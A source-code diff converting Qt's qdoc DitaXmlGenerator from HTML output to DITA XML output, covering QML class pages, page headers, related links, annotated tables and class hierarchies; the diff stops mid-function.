+ else if ((inner->type() == Node::Fake) && (inner->subType() == Node::QmlClass)) { + const QmlClassNode* qcn = const_cast<QmlClassNode*>(static_cast<const QmlClassNode*>(inner)); + const ClassNode* cn = qcn->classNode(); + rawTitle = marker->plainName(inner); + fullTitle = marker->plainFullName(inner); + title = rawTitle + " Element Reference"; + //QString fullTitle = fake->fullTitle(); + //QString htmlTitle = fullTitle; - if (needOtherSection) { - out() << "<h3>Additional Inherited Members</h3>\n" - "<ul>\n"; + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // <shortdesc> - s = sections.begin(); - while (s != sections.end()) { - if (s->members.isEmpty() && !s->inherited.isEmpty()) - generateSectionInheritedList(*s, inner, marker); + // not included: <prolog> + + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement("apiDesc"); + xmlWriter().writeAttribute("spectitle",title); + Text brief = qcn->doc().briefText(); // zzz + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, qcn, marker); + xmlWriter().writeEndElement(); // </p> + } + generateQmlInstantiates(qcn, marker); + generateQmlInherits(qcn, marker); + generateQmlInheritedBy(qcn, marker); + generateSince(qcn, marker); + xmlWriter().writeEndElement(); // </apiDesc> + + QList<Section> summarySections; + summarySections = marker->qmlSections(qcn,CodeMarker::Summary,0); + s = summarySections.begin(); + while (s != summarySections.end()) { + QString attr; + if (!s->members.isEmpty()) { + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower() + " redundant"; + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // </title> + generateQmlSummary(*s,qcn,marker); + //generateSection(s->members, inner, marker, CodeMarker::Summary); + //generateSectionInheritedList(*s, inner, marker); + xmlWriter().writeEndElement(); // </section> + } ++s; } - out() << "</ul>\n"; - } - - out() << "<a name=\"" << registerRef("details") << "\"></a>\n"; - - if (!inner->doc().isEmpty()) { - out() << "<hr />\n" - << "<div class=\"descr\"/>\n" // QTBUG-9504 - << "<h2>" << "Detailed Description" << "</h2>\n"; - generateBody(inner, marker); - out() << "</div>\n"; // QTBUG-9504 - generateAlsoList(inner, marker); - } - - sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "<hr />\n"; - if (!(*s).divClass.isEmpty()) - out() << "<div class=\"" << (*s).divClass << "\"/>\n"; // QTBUG-9504 - out() << "<h2>" << protectEnc((*s).name) << "</h2>\n"; - - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - if ((*m)->access() != Node::Private) { // ### check necessary? - if ((*m)->type() != Node::Class) - generateDetailedMember(*m, inner, marker); - else { - out() << "<h3> class "; - generateFullName(*m, inner, marker); - out() << "</h3>"; - generateBrief(*m, marker, inner); - } + + writeDetailedDescription(qcn, marker, false, QString("Detailed Description")); + if (cn) + generateQmlText(cn->doc().body(), cn, marker, qcn->name()); - QStringList names; - names << (*m)->name(); - if ((*m)->type() == Node::Function) { - const FunctionNode *func = reinterpret_cast<const FunctionNode *>(*m); - if (func->metaness() == FunctionNode::Ctor || - func->metaness() == FunctionNode::Dtor || - func->overloadNumber() != 1) - names.clear(); - } - else if ((*m)->type() == Node::Property) { - const PropertyNode *prop = reinterpret_cast<const PropertyNode *>(*m); - if (!prop->getters().isEmpty() && - !names.contains(prop->getters().first()->name())) - names << prop->getters().first()->name(); - if (!prop->setters().isEmpty()) - names << prop->setters().first()->name(); - if (!prop->resetters().isEmpty()) - names << prop->resetters().first()->name(); - } - else if ((*m)->type() == Node::Enum) { - const EnumNode *enume = reinterpret_cast<const EnumNode*>(*m); - if (enume->flagsType()) - names << enume->flagsType()->name(); - - foreach (const QString &enumName, - enume->doc().enumItemNames().toSet() - - enume->doc().omitEnumItemNames().toSet()) - names << plainCode(marker->markedUpEnumValue(enumName, - enume)); + QList<Section> detailSections; + detailSections = marker->qmlSections(qcn,CodeMarker::Detailed,0); + s = detailSections.begin(); + while (s != detailSections.end()) { + if (!s->members.isEmpty()) { + QString attr; + inSection = true; + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower(); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // </title> + NodeList::ConstIterator m = (*s).members.begin(); + while (m != (*s).members.end()) { + generateDetailedQmlMember(*m, qcn, marker); + ++m; } + xmlWriter().writeEndElement(); // </section> + inSection = false; } - ++m; + ++s; } - if (!(*s).divClass.isEmpty()) - out() << "</div>\n"; // QTBUG-9504 - ++s; + + xmlWriter().writeEndElement(); // </cxxClassDetail> + xmlWriter().writeEndElement(); // </cxxClass> } -#endif +} + + +/*! + Write a list item for a \a link with the given \a text. + */ +void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text) +{ + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); + writeCharacters(text); + xmlWriter().writeEndElement(); // </xref> + xmlWriter().writeEndElement(); // </li> } /*! Generate the html page for a qdoc file that doesn't map to an underlying c++ file. */ -void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) +void DitaXmlGenerator::generateFakeNode(const FakeNode* fake, CodeMarker* marker) { - return; // zzz - SubTitleSize subTitleSize = LargeSubTitle; QList<Section> sections; QList<Section>::const_iterator s; @@ -1701,154 +2025,127 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker htmlTitle = fullTitle; } - generateHeader(fake); - - /* - Generate the TOC for the new doc format. - Don't generate a TOC for the home page. - */ - if (fake->name() != QString("index.html")) - generateTableOfContents(fake,marker,0); - - generateTitle(fullTitle, - Text() << fake->subTitle(), - subTitleSize, - fake, - marker); - + generateHeader(fake, fullTitle); + generateBrief(fake, marker); // <shortdesc> + xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { - // Generate brief text and status for modules. - generateBrief(fake, marker); generateStatus(fake, marker); - if (moduleNamespaceMap.contains(fake->name())) { - out() << "<a name=\"" << registerRef("namespaces") << "\"></a>\n"; - out() << "<h2>Namespaces</h2>\n"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","namespaces"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters("Namespaces"); + xmlWriter().writeEndElement(); // </title> generateAnnotatedList(fake, marker, moduleNamespaceMap[fake->name()]); + xmlWriter().writeEndElement(); // </section> } if (moduleClassMap.contains(fake->name())) { - out() << "<a name=\"" << registerRef("classes") << "\"></a>\n"; - out() << "<h2>Classes</h2>\n"; + xmlWriter().writeStartElement("section"); + xmlWriter().writeAttribute("outputclass","classes"); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters("Classes"); + xmlWriter().writeEndElement(); // </title> generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]); + xmlWriter().writeEndElement(); // </section> } } - else if (fake->subType() == Node::HeaderFile) { - // Generate brief text and status for modules. - generateBrief(fake, marker); - generateStatus(fake, marker); - - out() << "<ul>\n"; - QString membersLink = generateListOfAllMemberFile(fake, marker); - if (!membersLink.isEmpty()) - out() << "<li><xref href=\"" << membersLink << "\">" - << "List of all members, including inherited members</xref></li>\n"; - - QString obsoleteLink = generateLowStatusMemberFile(fake, - marker, - CodeMarker::Obsolete); - if (!obsoleteLink.isEmpty()) - out() << "<li><xref href=\"" << obsoleteLink << "\">" - << "Obsolete members</xref></li>\n"; - - QString compatLink = generateLowStatusMemberFile(fake, - marker, - CodeMarker::Compat); - if (!compatLink.isEmpty()) - out() << "<li><xref href=\"" << compatLink << "\">" - << "Qt 3 support members</xref></li>\n"; - - out() << "</ul>\n"; + if (fake->doc().isEmpty()) { + if (fake->subType() == Node::File) { + Text text; + Quoter quoter; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass", "small-subtitle"); + text << fake->subTitle(); + generateText(text, fake, marker); + xmlWriter().writeEndElement(); // </p> + Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); + QString code = quoter.quoteTo(fake->location(), "", ""); + text.clear(); + text << Atom(Atom::Code, code); + generateText(text, fake, marker); + } } -#ifdef QDOC_QML - else if (fake->subType() == Node::QmlClass) { - const QmlClassNode* qml_cn = static_cast<const QmlClassNode*>(fake); - const ClassNode* cn = qml_cn->classNode(); - generateQmlInherits(qml_cn, marker); - generateQmlInstantiates(qml_cn, marker); - generateBrief(qml_cn, marker); - generateQmlInheritedBy(qml_cn, marker); - sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); - s = sections.begin(); - while (s != sections.end()) { - out() << "<a name=\"" << registerRef((*s).name) << "\"></a>\n"; - out() << "<h2>" << protectEnc((*s).name) << "</h2>\n"; - generateQmlSummary(*s,fake,marker); - ++s; + else { + if (fake->subType() == Node::Module) { + writeDetailedDescription(fake, marker, false, QString("Detailed Description")); } - - out() << "<a name=\"" << registerRef("details") << "\"></a>\n"; - out() << "<h2>" << "Detailed Description" << "</h2>\n"; - generateBody(fake, marker); - if (cn) - generateQmlText(cn->doc().body(), cn, marker, fake->name()); + else + writeDetailedDescription(fake, marker, false, QString()); generateAlsoList(fake, marker); - out() << "<hr />\n"; - - sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); - s = sections.begin(); - while (s != sections.end()) { - out() << "<h2>" << protectEnc((*s).name) << "</h2>\n"; - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedQmlMember(*m, fake, marker); - out() << "<br/>\n"; - ++m; + + if (!fake->groupMembers().isEmpty()) { + NodeMap groupMembersMap; + foreach (const Node *node, fake->groupMembers()) { + if (node->type() == Node::Class || node->type() == Node::Namespace) + groupMembersMap[node->name()] = node; } - ++s; + generateAnnotatedList(fake, marker, groupMembersMap); } - return; - } -#endif - - sections = marker->sections(fake, CodeMarker::Summary, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "<a name=\"" << registerRef((*s).name) << "\"></a>\n"; - out() << "<h2>" << protectEnc((*s).name) << "</h2>\n"; - generateSectionList(*s, fake, marker, CodeMarker::Summary); - ++s; - } - - Text brief = fake->doc().briefText(); - if (fake->subType() == Node::Module && !brief.isEmpty()) { - out() << "<a name=\"" << registerRef("details") << "\"></a>\n"; - out() << "<div class=\"descr\"/>\n"; // QTBUG-9504 - out() << "<h2>" << "Detailed Description" << "</h2>\n"; } - else - out() << "<div class=\"descr\"/>\n"; // QTBUG-9504 + xmlWriter().writeEndElement(); // </body> + writeRelatedLinks(fake, marker); + xmlWriter().writeEndElement(); // </topic> +} - generateBody(fake, marker); - out() << "</div>\n"; // QTBUG-9504 - generateAlsoList(fake, marker); +/*! + This function writes a \e{<link>} element inside a + \e{<related-links>} element. - if (!fake->groupMembers().isEmpty()) { - NodeMap groupMembersMap; - foreach (const Node *node, fake->groupMembers()) { - if (node->type() == Node::Class || node->type() == Node::Namespace) - groupMembersMap[node->name()] = node; - } - generateAnnotatedList(fake, marker, groupMembersMap); + \sa writeRelatedLinks() + */ +void DitaXmlGenerator::writeLink(const Node* node, + const QString& text, + const QString& role) +{ + if (node) { + QString link = fileName(node) + "#" + node->guid(); + xmlWriter().writeStartElement("link"); + xmlWriter().writeAttribute("href", link); + xmlWriter().writeAttribute("role", role); + xmlWriter().writeStartElement("linktext"); + writeCharacters(text); + xmlWriter().writeEndElement(); // </linktext> + xmlWriter().writeEndElement(); // </link> } +} - sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay); - s = sections.begin(); - while (s != sections.end()) { - out() << "<hr />\n"; - out() << "<h2>" << protectEnc((*s).name) << "</h2>\n"; - - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedMember(*m, fake, marker); - ++m; - } - ++s; +/*! + This function writes a \e{<related-links>} element, which + contains the \c{next}, \c{previous}, and \c{start} + links for topic pages that have them. Note that the + value of the \e role attribute is \c{parent} for the + \c{start} link. + */ +void DitaXmlGenerator::writeRelatedLinks(const FakeNode* node, CodeMarker* marker) +{ + const Node* linkNode = 0; + QPair<QString,QString> linkPair; + if (node && !node->links().empty()) { + xmlWriter().writeStartElement("related-links"); + if (node->links().contains(Node::PreviousLink)) { + linkPair = node->links()[Node::PreviousLink]; + linkNode = findNodeForTarget(linkPair.first, node, marker); + writeLink(linkNode, linkPair.second, "previous"); + } + if (node->links().contains(Node::NextLink)) { + linkPair = node->links()[Node::NextLink]; + linkNode = findNodeForTarget(linkPair.first, node, marker); + writeLink(linkNode, linkPair.second, "next"); + } + if (node->links().contains(Node::StartLink)) { + linkPair = node->links()[Node::StartLink]; + linkNode = findNodeForTarget(linkPair.first, node, marker); + writeLink(linkNode, linkPair.second, "parent"); + } + xmlWriter().writeEndElement(); // </related-links> } } /*! - Returns "xml" for this subclass of Generator. + Returns "xml" for this subclass of class Generator. */ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const { @@ -1856,172 +2153,146 @@ QString DitaXmlGenerator::fileExtension(const Node * /* node */) const } /*! - Output breadcrumb list in the html file. + Writes an XML file header to the current XML stream. This + depends on which kind of DITA XML file is being generated, + which is determined by the \a node type and subtype and the + \a subpage flag. If the \subpage flag is true, a \c{<topic>} + header is written, regardless of the type of \a node. */ -void DitaXmlGenerator::generateBreadCrumbs(const QString& title, - const Node *node, - CodeMarker *marker) +void DitaXmlGenerator::generateHeader(const Node* node, + const QString& name, + bool subpage) { - Text breadcrumb; - if (node->type() == Node::Class) { - const ClassNode* cn = static_cast<const ClassNode*>(node); - QString name = node->moduleName(); - out() << " <li><xref href=\"modules.html\">All Modules</xref></li>"; - if (!name.isEmpty()) { - out() << " <li>"; - breadcrumb << Atom(Atom::AutoLink,name); - generateText(breadcrumb, node, marker); - out() << "</li>\n"; - } - breadcrumb.clear(); - if (!cn->name().isEmpty()) { - out() << " <li>"; - breadcrumb << Atom(Atom::AutoLink,cn->name()); - generateText(breadcrumb, 0, marker); - out() << "</li>\n"; - } - } - else if (node->type() == Node::Fake) { - const FakeNode* fn = static_cast<const FakeNode*>(node); - if (node->subType() == Node::Module) { - out() << " <li><xref href=\"modules.html\">All Modules</xref></li>"; - QString name = node->name(); - if (!name.isEmpty()) { - out() << " <li>"; - breadcrumb << Atom(Atom::AutoLink,name); - generateText(breadcrumb, 0, marker); - out() << "</li>\n"; - } - } - else if (node->subType() == Node::Group) { - if (fn->name() == QString("modules")) - out() << " <li><xref href=\"modules.html\">All Modules</xref></li>"; - else { - out() << " <li><xref href=\"" << fn->name() << "\">" << title - << "</xref></li>"; - } - } - else if (node->subType() == Node::Page) { - if (fn->name() == QString("examples.html")) { - out() << " <li><xref href=\"all-examples.html\">Examples</xref></li>"; - } - else if (fn->name().startsWith("examples-")) { - out() << " <li><xref href=\"all-examples.html\">Examples</xref></li>"; - out() << " <li><xref href=\"" << fn->name() << "\">" << title - << "</xref></li>"; - } - else if (fn->name() == QString("namespaces.html")) { - out() << " <li><xref href=\"namespaces.html\">All Namespaces</xref></li>"; - } - else { - out() << " <li><xref href=\"" << fn->name() << "\">" << title - << "</xref></li>"; - } - } - else if (node->subType() == Node::QmlClass) { - out() << " <li><xref href=\"qdeclarativeelements.html\">QML Elements</xref></li>"; - out() << " <li><xref href=\"" << fn->name() << "\">" << title - << "</xref></li>"; - } - else if (node->subType() == Node::Example) { - out() << " <li><xref href=\"all-examples.html\">Examples</xref></li>"; - QStringList sl = fn->name().split('/'); - QString name = "examples-" + sl.at(0) + ".html"; - QString t = CodeParser::titleFromName(name); - out() << " <li><xref href=\"" << name << "\">" - << t << "</xref></li>"; - out() << " <li><xref href=\"" << sl.at(0) - << "-" << sl.at(sl.size()-1) << ".html\">" - << title << "</xref></li>"; - } - } - else if (node->type() == Node::Namespace) { - const NamespaceNode* nsn = static_cast<const NamespaceNode*>(node); - out() << " <li><xref href=\"namespaces.html\">All Namespaces</xref></li>"; - out() << " <li><xref href=\"" << fileName(nsn) << "\">" << title - << "</xref></li>"; - } -} - -void DitaXmlGenerator::generateHeader(const Node* node) -{ - writer.setDevice(out().device()); - writer.setAutoFormatting(true); - writer.setAutoFormattingIndent(4); - writer.writeStartDocument(); - if (!node) return; - QString docType; + QString doctype; + QString mainElement; + QString nameElement; QString dtd; + QString base; QString version; + QString outputclass; + if (node->type() == Node::Class) { - docType = "cxxClass"; + mainElement = "cxxClass"; + nameElement = "apiName"; dtd = "dtd/cxxClass.dtd"; version = "0.6.0"; + doctype = "<!DOCTYPE " + mainElement + + " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" + + version + "//EN\" \"" + dtd + "\">"; } - - QString doctype = "<!DOCTYPE " + docType + - " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" + - version + "//EN\" \"" + dtd + "\">"; - writer.writeDTD(doctype); - writer.writeComment(node->doc().location().fileName()); -} - -void DitaXmlGenerator::generateTitle(const QString& title, - const Text &subTitle, - SubTitleSize subTitleSize, - const Node *relative, - CodeMarker *marker) -{ - if (!title.isEmpty()) - out() << "<h1 class=\"title\">" << protectEnc(title) << "</h1>\n"; - if (!subTitle.isEmpty()) { - out() << "<span"; - if (subTitleSize == SmallSubTitle) - out() << " class=\"small-subtitle\">"; - else - out() << " class=\"subtitle\">"; - generateText(subTitle, relative, marker); - out() << "</span>\n"; + else if (node->type() == Node::Namespace) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = "<!DOCTYPE " + mainElement + + " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" + + version + "//EN\" \"" + dtd + "\">"; + outputclass = "namespace"; + } + else if (node->type() == Node::Fake || subpage) { + if (node->subType() == Node::HeaderFile) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = "<!DOCTYPE " + mainElement + + " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" + + version + "//EN\" \"" + dtd + "\">"; + outputclass = "headerfile"; + } + else if (node->subType() == Node::QmlClass) { + mainElement = "cxxClass"; + nameElement = "apiName"; + dtd = "dtd/cxxClass.dtd"; + version = "0.6.0"; + doctype = "<!DOCTYPE " + mainElement + + " PUBLIC \"-//NOKIA//DTD DITA C++ API Class Reference Type v" + + version + "//EN\" \"" + dtd + "\">"; + outputclass = "QML-class"; + } + else { + mainElement = "topic"; + nameElement = "title"; + dtd = "dtd/topic.dtd"; + doctype = "<!DOCTYPE " + mainElement + + " PUBLIC \"-//OASIS//DTD DITA Topic//EN\" \"" + dtd + "\">"; + switch (node->subType()) { + case Node::Page: + outputclass = "page"; + break; + case Node::Group: + outputclass = "group"; + break; + case Node::Example: + outputclass = "example"; + break; + case Node::File: + outputclass = "file"; + break; + case Node::Image: // not used + outputclass = "image"; + break; + case Node::Module: + outputclass = "module"; + break; + case Node::ExternalPage: // not used + outputclass = "externalpage"; + break; + default: + outputclass = "page"; + } + } } + + xmlWriter().writeDTD(doctype); + xmlWriter().writeComment(node->doc().location().fileName()); + xmlWriter().writeStartElement(mainElement); + xmlWriter().writeAttribute("id",node->guid()); + if (!outputclass.isEmpty()) + xmlWriter().writeAttribute("outputclass",outputclass); + xmlWriter().writeStartElement(nameElement); // <title> or <apiName> + writeCharacters(name); + xmlWriter().writeEndElement(); // </title> or </apiName> } /*! - Outputs the brief command as a <shortdesc" element. + Outputs the \e brief command as a <shortdesc> element. */ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { - Text brief = node->doc().briefText(); + Text brief = node->doc().briefText(true); // zzz if (!brief.isEmpty()) { - ++noLinks; - writer.writeStartElement(SHORTDESC); generateText(brief, node, marker); - writer.writeEndElement(); // shortdesc - --noLinks; } } -void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) +/*! + Writes the \c {#include ...} required to include the class + or namespace in a compilation. + */ +void DitaXmlGenerator::generateIncludes(const InnerNode* inner, CodeMarker* marker) { if (!inner->includes().isEmpty()) { - out() << "<pre class=\"highlightedCode\">" - << trimmedTrailing(highlightedCode(indent(codeIndent, - marker->markedUpIncludes(inner->includes())), - marker,inner)) - << "</pre>"; + xmlWriter().writeStartElement("codeblock"); + writeText(marker->markedUpIncludes(inner->includes()), marker, inner); + xmlWriter().writeEndElement(); // </codeblock> } } /*! + zzz Generates a table of contents beginning at \a node. + Currently just returns without writing anything. */ -void DitaXmlGenerator::generateTableOfContents(const Node *node, - CodeMarker *marker, - Doc::SectioningUnit sectioningUnit, - int numColumns, - const Node *relative) +void DitaXmlGenerator::generateTableOfContents(const Node* node, + CodeMarker* marker, + Doc::SectioningUnit sectioningUnit, + int numColumns, + const Node* relative) { return; @@ -2100,12 +2371,13 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node, } /*! + zzz Revised for the new doc format. Generates a table of contents beginning at \a node. */ -void DitaXmlGenerator::generateTableOfContents(const Node *node, - CodeMarker *marker, - QList<Section>* sections) +void DitaXmlGenerator::generateTableOfContents(const Node* node, + CodeMarker* marker, + QList<Section>* sections) { QList<Atom*> toc; if (node->doc().hasTableOfContents()) @@ -2214,109 +2486,55 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node, inLink = false; } -QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, - CodeMarker *marker) +void DitaXmlGenerator::generateLowStatusMembers(const InnerNode* inner, + CodeMarker* marker, + CodeMarker::Status status) { - QList<Section> sections; - QList<Section>::ConstIterator s; - - sections = marker->sections(inner, - CodeMarker::SeparateList, - CodeMarker::Okay); - if (sections.isEmpty()) - return QString(); - - QString fileName = fileBase(inner) + "-members." + fileExtension(inner); - beginSubPage(inner->location(), fileName); - QString title = "List of All Members for " + inner->name(); - generateHeader(inner); - generateTitle(title, Text(), SmallSubTitle, inner, marker); - out() << "<p>This is the complete list of members for "; - generateFullName(inner, 0, marker); - out() << ", including inherited members.</p>\n"; - - Section section = sections.first(); - generateSectionList(section, 0, marker, CodeMarker::SeparateList); - - endSubPage(); - return fileName; -} + QString attribute; + if (status == CodeMarker::Compat) + attribute = "Qt3-support"; + else if (status == CodeMarker::Obsolete) + attribute = "obsolete"; + else + return; -QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode *inner, - CodeMarker *marker, - CodeMarker::Status status) -{ - QList<Section> sections = marker->sections(inner, - CodeMarker::Summary, - status); + QList<Section> sections = marker->sections(inner, CodeMarker::Detailed, status); QMutableListIterator<Section> j(sections); while (j.hasNext()) { if (j.next().members.size() == 0) j.remove(); } if (sections.isEmpty()) - return QString(); - - int i; - - QString title; - QString fileName; - - if (status == CodeMarker::Compat) { - title = "Qt 3 Support Members for " + inner->name(); - fileName = fileBase(inner) + "-qt3." + fileExtension(inner); - } - else { - title = "Obsolete Members for " + inner->name(); - fileName = fileBase(inner) + "-obsolete." + fileExtension(inner); - } - - beginSubPage(inner->location(), fileName); - generateHeader(inner); - generateTitle(title, Text(), SmallSubTitle, inner, marker); - - if (status == CodeMarker::Compat) { - out() << "<p><b>The following class members are part of the " - "<xref href=\"qt3support.html\">Qt 3 support layer</xref>.</b> " - "They are provided to help you port old code to Qt 4. We advise against " - "using them in new code.</p>\n"; - } - else { - out() << "<p><b>The following class members are obsolete.</b> " - << "They are provided to keep old source code working. " - << "We strongly advise against using them in new code.</p>\n"; - } - - out() << "<p><ul><li><xref href=\"" - << linkForNode(inner, 0) << "\">" - << protectEnc(inner->name()) - << " class reference</xref></li></ul></p>\n"; - - for (i = 0; i < sections.size(); ++i) { - out() << "<h2>" << protectEnc(sections.at(i).name) << "</h2>\n"; - generateSectionList(sections.at(i), inner, marker, CodeMarker::Summary); - } - - sections = marker->sections(inner, CodeMarker::Detailed, status); - for (i = 0; i < sections.size(); ++i) { - out() << "<hr />\n"; - out() << "<h2>" << protectEnc(sections.at(i).name) << "</h2>\n"; + return; - NodeList::ConstIterator m = sections.at(i).members.begin(); - while (m != sections.at(i).members.end()) { - if ((*m)->access() != Node::Private) - generateDetailedMember(*m, inner, marker); - ++m; + QList<Section>::ConstIterator s = sections.begin(); + while (s != sections.end()) { + if ((*s).name == "Member Function Documentation") { + writeFunctions((*s),inner,marker,attribute); + } + else if ((*s).name == "Member Type Documentation") { + writeEnumerations((*s),marker,attribute); + writeTypedefs((*s),marker,attribute); + } + else if ((*s).name == "Member Variable Documentation") { + writeDataMembers((*s),marker,attribute); } + else if ((*s).name == "Property Documentation") { + writeProperties((*s),marker,attribute); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker,attribute); + } + ++s; } - - endSubPage(); - return fileName; } -void DitaXmlGenerator::generateClassHierarchy(const Node *relative, - CodeMarker *marker, - const QMap<QString,const Node*> &classMap) +/*! + Write the XML for the class hierarchy to the current XML stream. + */ +void DitaXmlGenerator::generateClassHierarchy(const Node* relative, + CodeMarker* marker, + const QMap<QString,const Node*>& classMap) { if (classMap.isEmpty()) return; @@ -2324,7 +2542,7 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, NodeMap topLevel; NodeMap::ConstIterator c = classMap.begin(); while (c != classMap.end()) { - const ClassNode *classe = static_cast<const ClassNode *>(*c); + const ClassNode* classe = static_cast<const ClassNode*>(*c); if (classe->baseClasses().isEmpty()) topLevel.insert(classe->name(), classe); ++c; @@ -2333,70 +2551,87 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, QStack<NodeMap > stack; stack.push(topLevel); - out() << "<ul>\n"; + xmlWriter().writeStartElement("ul"); while (!stack.isEmpty()) { if (stack.top().isEmpty()) { stack.pop(); - out() << "</ul>\n"; + xmlWriter().writeEndElement(); // </ul> + if (!stack.isEmpty()) + xmlWriter().writeEndElement(); // </li> } else { const ClassNode *child = static_cast<const ClassNode *>(*stack.top().begin()); - out() << "<li>"; + xmlWriter().writeStartElement("li"); generateFullName(child, relative, marker); - out() << "</li>\n"; + xmlWriter().writeEndElement(); // </li> stack.top().erase(stack.top().begin()); NodeMap newTop; foreach (const RelatedClass &d, child->derivedClasses()) { - if (d.access != Node::Private) + if (d.access != Node::Private && !d.node->doc().isEmpty()) newTop.insert(d.node->name(), d.node); } if (!newTop.isEmpty()) { stack.push(newTop); - out() << "<ul>\n"; + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("ul"); } } } } -void DitaXmlGenerator::generateAnnotatedList(const Node *relative, - CodeMarker *marker, - const NodeMap &nodeMap) +/*! + Write XML for the contents of the \a nodeMap to the current + XML stream. + */ +void DitaXmlGenerator::generateAnnotatedList(const Node* relative, + CodeMarker* marker, + const NodeMap& nodeMap) { - out() << "<table class=\"annotated\">\n"; + if (nodeMap.isEmpty()) + return; + xmlWriter().writeStartElement("table"); + xmlWriter().writeAttribute("outputclass","annotated"); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols","2"); + xmlWriter().writeStartElement("tbody"); - int row = 0; - foreach (const QString &name, nodeMap.keys()) { - const Node *node = nodeMap[name]; + foreach (const QString& name, nodeMap.keys()) { + const Node* node = nodeMap[name]; if (node->status() == Node::Obsolete) continue; - if (++row % 2 == 1) - out() << "<tr class=\"odd topAlign\">"; - else - out() << "<tr class=\"even topAlign\">"; - out() << "<td><p>"; + xmlWriter().writeStartElement("row"); + xmlWriter().writeStartElement("entry"); + xmlWriter().writeStartElement("p"); generateFullName(node, relative, marker); - out() << "</p></td>"; + xmlWriter().writeEndElement(); // </p> + xmlWriter().writeEndElement(); // <entry> if (!(node->type() == Node::Fake)) { Text brief = node->doc().trimmedBriefText(name); if (!brief.isEmpty()) { - out() << "<td><p>"; + xmlWriter().writeStartElement("entry"); + xmlWriter().writeStartElement("p"); generateText(brief, node, marker); - out() << "</p></td>"; + xmlWriter().writeEndElement(); // </p> + xmlWriter().writeEndElement(); // <entry> } } else { - out() << "<td><p>"; - out() << protectEnc(node->doc().briefText().toString()); - out() << "</p></td>"; + xmlWriter().writeStartElement("entry"); + xmlWriter().writeStartElement("p"); + writeCharacters(protectEnc(node->doc().briefText().toString())); // zzz + xmlWriter().writeEndElement(); // </p> + xmlWriter().writeEndElement(); // <entry> } - out() << "</tr>\n"; + xmlWriter().writeEndElement(); // </row> } - out() << "</table>\n"; + xmlWriter().writeEndElement(); // </tbody> + xmlWriter().writeEndElement(); // </tgroup> + xmlWriter().writeEndElement(); // </table> } /*! @@ -2408,11 +2643,11 @@ void DitaXmlGenerator::generateAnnotatedList(const Node *relative, normally you let it figure it out itself by looking at the name of the first and last classes in \a classMap. */ -void DitaXmlGenerator::generateCompactList(const Node *relative, - CodeMarker *marker, - const NodeMap &classMap, - bool includeAlphabet, - QString commonPrefix) +void DitaXmlGenerator::generateCompactList(const Node* relative, + CodeMarker* marker, + const NodeMap& classMap, + bool includeAlphabet, + QString commonPrefix) { const int NumParagraphs = 37; // '0' to '9', 'A' to 'Z', '_' @@ -2527,24 +2762,33 @@ void DitaXmlGenerator::generateCompactList(const Node *relative, int curParNr = 0; int curParOffset = 0; + QMap<QChar,QString> cmap; /* Output the alphabet as a row of links. */ if (includeAlphabet) { - out() << "<p class=\"centerAlign functionIndex\"><b>"; + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","alphabet"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); - if (usedParagraphNames.contains(char('a' + i))) - out() << QString("<xref href=\"#%1\">%2</xref> ").arg(ch).arg(ch.toUpper()); + if (usedParagraphNames.contains(char('a' + i))) { + 